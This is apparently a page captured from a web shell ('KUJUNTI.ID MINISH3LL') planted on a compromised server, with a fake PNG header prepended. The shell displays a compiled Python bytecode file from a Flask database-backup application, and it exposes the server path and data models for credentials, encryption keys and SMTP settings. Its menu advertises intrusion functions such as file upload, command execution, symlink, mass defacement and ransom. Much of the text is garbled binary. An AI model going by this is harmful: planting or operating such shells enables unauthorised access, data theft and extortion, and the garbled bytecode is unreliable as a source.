\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv5/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv5/__pycache__/models.cpython-310.pyc


o

d*�g�%�@s�ddlZddlZddlmZddlmZmZddlmZGdd�dej	�Z
Gdd�dej	�ZGd	d
�d
ej	�ZGdd�dej	�Z
Gd
d�deej	�ZGdd�dej	�ZGdd�dej	�ZdS)�N)�db)�generate_password_hash�check_password_hash)�	UserMixinc@s�eZdZdZejejdd�Zeje�d�dd�Z	eje�d�dd�Z
eje�d�dd�Zejejdd�Zeje�d�dd�Z
eje�d�dd�Zeje�d�dd�Zeje�d	�dd�Zejejejjd
�Zejdddd
�Zdd�ZdS)�DatabaseConnectionz,Model for database connection configuration.T��primary_key�@F��nullable�����default�	BackupJob�database��backref�lazycC�d|j�d�S)Nz<DatabaseConnection �>��name��self�r�8/var/www/html/yedekledb24/DatabaseBackupMaster/models.py�__repr__�zDatabaseConnection.__repr__N)�__name__�
__module__�__qualname__�__doc__r�Column�Integer�id�Stringr�db_type�host�port�username�passwordr�
pg_version�DateTime�datetime�utcnow�
created_at�relationship�backup_jobsrrrrrrsrc@s�eZdZdZejejdd�Zeje�d�dd�Z	eje�d�dd�Z
eje�d�dd�Zejejdd�Zeje�d�dd�Z
eje�d�dd�Zeje�d	�dd�Zejejejjd
�Zejdddd
�Zdd�ZdS)�
StorageTargetz.Model for backup storage target configuration.Trr	Fr
rr
�rr�storagercCr)Nz<StorageTarget rrrrrrr'rzStorageTarget.__repr__N)r r!r"r#rr$r%r&r'r�storage_typer)r*r+r,�pathr.r/r0r1r2r3rrrrrr4sr4c@steZdZdZejejdd�Zeje�d�dd�Z	ejeje�
d�dd�Zejeje�
d�dd�Zeje�d	�dd�Z
eje�d�dd�Zejejd
d�Zejejdd�Zejejejjd�Zejejdd�Zejejdd�Zeje�d	�dd�Zejejej
dd
d�dd�Zeje�d�dd�Zejejdd�Zeje�d	�dd�Zejdddegd�Zejdddd�Zdd�Z dS)rz#Model for backup job configuration.Trr	Fr
zdatabase_connection.idzstorage_target.idr�rzencryption_key.id�fk_backup_job_encryption_keyrr5�zip�
EncryptionKeyr3)rr�foreign_keys�	BackupLog�jobrcCr)Nz<BackupJob rrrrrrrFrzBackupJob.__repr__N)!r r!r"r#rr$r%r&r'r�
ForeignKey�database_id�
storage_id�
schedule_type�schedule_value�retention_days�Boolean�enabledr.r/r0r1�last_run�encrypt_backup�encryption_type�encryption_key_id�encryption_passphrase�compress_backup�compression_typer2�encryption_key�logsrrrrrr*s*rc@s�eZdZdZejejdd�Zejeje�d�dd�Z	ejej
ejjd�Z
eje�d�dd�Zejejdd�Zeje�d	�dd�Zejejdd�Zejejdd�Zejejdd�Zeje�d�dd�Zd
d�ZdS)
r>z Model for backup execution logs.Trz
backup_job.idFr
rrr5cCs d|jj�d|j�d|j�d�S)Nz<BackupLog � r)r?r�	timestamp�statusrrrrrXs zBackupLog.__repr__N)r r!r"r#rr$r%r&r@�job_idr.r/r0rRr'rS�Text�message�backup_file�
BigInteger�backup_size�Float�durationrF�	encryptedrJrrrrrr>Isr>c@s�eZdZdZejejdd�Zeje�d�ddd�Z	eje�d�ddd�Z
eje�d�dd	�Zejejdd
�Z
ejejejjd
�Zejejdd	�Zdd�Zd
d�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�ZdS)�UserzModel for user authentication.Trr	F)�uniquer�xr5r
rcCst|�|_dS)z,Set password hash from a plaintext password.N)r�
password_hash�rr,rrr�set_passwordfszUser.set_passwordcCst|j|�S)z@Check if the provided password matches the stored password hash.)rr`rarrr�check_passwordjszUser.check_passwordcCsdS)zAll users can view content.Trrrrr�can_viewnsz
User.can_viewcC�|jS)z,Only admins can manage database connections.��is_adminrrrr�can_manage_db_connectionsr�zUser.can_manage_db_connectionscCre)z'Only admins can manage storage targets.rfrrrr�can_manage_storagevrizUser.can_manage_storagecCre)z#Only admins can manage backup jobs.rfrrrr�can_manage_backup_jobszrizUser.can_manage_backup_jobscCre)zOnly admins can manage users.rfrrrr�can_manage_users~rizUser.can_manage_userscCr)Nz<User r)r+rrrrr�rz
User.__repr__N)r r!r"r#rr$r%r&r'r+�emailr`rFrgr.r/r0r1�
last_loginrbrcrdrhrjrkrlrrrrrr]\s"r]c@s�eZdZdZejejdd�Zeje�d�dd�Z	eje�d�dd�Z
eje�d�dd�Zejejdd	d
�Zeje�d�ddd�Z
ejejdd�Zejejdd�Zejejejjd�Zejeje�d
�dd�Zejdddd�Zdd�Zdd�ZdS)r<zModel for GPG encryption keys.Trr	Fr
r
ri)rr)rr^rzuser.idr]�encryption_keysrcCsd|j�d|j�d�S)Nz<EncryptionKey z (z)>)rrmrrrrr�szEncryptionKey.__repr__cCs(|jrt|j�dkr|jdd�S|jS)z7Return the short version of fingerprint (last 8 chars).ri����N)�fingerprint�lenrrrr�short_fingerprint�szEncryptionKey.short_fingerprintN)r r!r"r#rr$r%r&r'rrm�key_type�
key_lengthrprU�
public_key�private_keyr.r/r0r1r@�
created_byr2�creatorrrrrrrrr<�sr<c@s�eZdZdZejejdd�Zeje�d�dd�Z	ejejdd�Z
ejejdd�Zejejdd�Z
eje�d�dd�Zeje�d�dd�Zeje�d�dd�Zeje�d�dd�Zejejejjd�Zejejejjejjd	�Zd
d�Zedd
��ZdS)�SmtpSettingszModel for SMTP email settings.Trr
Fr
rr5)r�onupdatecCr)Nz<SmtpSettings r)�mail_serverrrrrr�rzSmtpSettings.__repr__cCs�tj��}|durFtj�dd�ttj�dd��tj�dd���dvtj�d	d
���dvtj�dd�tj�d
d�tj�dd�tj�dd�d�S|j|j	|j
|j|j|j
|j|jd�S)z7Get the SMTP settings (there should only be one record)N�MAIL_SERVERzsmtp.gmail.com�	MAIL_PORTiK�MAIL_USE_TLS�True)�true�1�t�MAIL_USE_SSL�False�
MAIL_USERNAME��
MAIL_PASSWORD�MAIL_DEFAULT_SENDER�BACKUP_NOTIFICATION_EMAILS)r{�	mail_port�mail_use_tls�mail_use_ssl�
mail_username�
mail_password�mail_default_sender�notification_emails)ry�query�first�os�environ�get�int�lowerr{r�r�r�r�r�r�r�)�settingsrrr�get_settings�s(
��zSmtpSettings.get_settingsN)r r!r"r#rr$r%r&r'r{r�rFr�r�r�r�r�r�r.r/r0r1�
updated_atr�staticmethodr�rrrrry�s ry)r/r��appr�werkzeug.securityrr�flask_loginr�Modelrr4rr>r]r<ryrrrr�<module>s*

© KUJUNTI.ID